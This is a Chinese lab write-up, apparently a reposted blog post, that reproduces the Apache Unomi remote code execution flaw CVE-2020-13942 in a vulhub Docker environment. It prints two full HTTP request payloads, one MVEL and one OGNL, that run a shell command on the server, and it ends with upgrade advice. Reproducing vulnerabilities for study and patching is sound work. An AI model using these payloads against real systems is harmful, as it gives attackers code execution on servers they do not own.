Apache Unomi 远程代码执行漏洞(CVE-2020-13942)复现

漏洞描述

Apache Unomi是一个Java开源客户数据平台,这是一个Java服务器,旨在管理客户,潜在顾客和访问者的数据,并帮助个性化客户体验。Unomi可用于在非常不同的系统(例如CMS,CRM,问题跟踪器,本机移动应用程序等)中集成个性化和配置文件管理。

Apache Unomi允许远程攻击者使用可能包含任意类的MVEL和OGNL表达式发送恶意请求,从而产生具有Unomi应用程序特权的远程代码执行(RCE)。目前互联网上已经公布漏洞利用相关POC,建议相关用户及时进行资产自查。
 

影响版本

 

Apache Unomi < 1.5.2

 

环境搭建

 

使用vulhub来搭建环境

https://github.com/vulhub/vulhub/blob/master/unomi/CVE-2020-13942/README.zh-cn.md

 

进入目录并启动一个Apache Unomi 1.5.1的服务器:

cd vulhub-master/unomi/CVE-2020-13942/

docker-compose up -d

环境启动后,通过http://your-ip:8181或https://your-ip:9443即可访问到Unomi的API。

 

漏洞复现

 

通过MVEL表达式执行任意命令

构建数据包并发送

POST /context.json HTTP/1.1

Host: 192.168.204.136:8181

Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36

Connection: close

Content-Type: application/json

Content-Length: 487



{

    "filters": [

        {

            "id": "sample",

            "filters": [

                {

                    "condition": {

                         "parameterValues": {

                            "": "script::Runtime r = Runtime.getRuntime(); r.exec(\"touch /tmp/mvel\");"

                        },

                        "type": "profilePropertyCondition"

                    }

                }

            ]

        }

    ],

    "sessionId": "sample"

}

docker exec -it 3222ebb5ea1c /bin/bash

进入镜像里面发现执行了

再看看通过OGNL表达式执行任意命令

POST /context.json HTTP/1.1
Host: localhost:8181
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 1064

{
  "personalizations":[
    {
      "id":"gender-test",
      "strategy":"matching-first",
      "strategyOptions":{
        "fallback":"var2"
      },
      "contents":[
        {
          "filters":[
            {
              "condition":{
                "parameterValues":{
                  "propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\"touch /tmp/ognl\"))",
                  "comparisonOperator":"equals",
                  "propertyValue":"male"
                },
                "type":"profilePropertyCondition"
              }
            }
          ]
        }
      ]
    }
  ],
  "sessionId":"sample"
}

命令成功执行

 

修复建议

 

升级到安全版本

猜你喜欢

转载自blog.csdn.net/xuandao_ahfengren/article/details/112968497